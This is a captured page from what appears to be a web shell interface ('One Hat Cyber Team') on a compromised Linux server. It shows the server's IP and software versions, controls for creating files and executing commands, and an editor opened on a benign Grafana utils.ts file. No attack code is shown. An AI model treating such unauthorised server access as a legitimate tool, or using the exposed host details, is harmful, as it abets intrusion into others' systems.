⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.72
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
features
/
live
/
data
/
Edit File: utils.ts
import { DataQueryResponseData, isDataFrame, StreamingDataFrame } from '@grafana/data'; /** * @alpha -- experimental */ export enum StreamingResponseDataType { NewValuesSameSchema = 'NewValuesSameSchema', FullFrame = 'FullFrame', } /** * @alpha -- experimental */ export type StreamingResponseDataTypeToData = { [StreamingResponseDataType.NewValuesSameSchema]: { values: unknown[][]; }; [StreamingResponseDataType.FullFrame]: { frame: ReturnType<StreamingDataFrame['serialize']>; }; }; /** * @alpha -- experimental */ export type StreamingResponseData<T = StreamingResponseDataType> = T extends StreamingResponseDataType ? { type: T; } & StreamingResponseDataTypeToData[T] : never; /** * @alpha -- experimental */ export const isStreamingResponseData = <T extends StreamingResponseDataType>( responseData: DataQueryResponseData, type: T ): responseData is StreamingResponseData<T> => 'type' in responseData && responseData.type === type; const AllStreamingResponseDataTypes = Object.values(StreamingResponseDataType); /** * @alpha -- experimental */ export const isAnyStreamingResponseData = ( responseData: DataQueryResponseData ): responseData is StreamingResponseData => 'type' in responseData && AllStreamingResponseDataTypes.includes(responseData.type); /** * @alpha -- experimental */ export const isStreamingDataFrame = (data: DataQueryResponseData): data is StreamingDataFrame => isDataFrame(data) && 'packetInfo' in data;
Simpan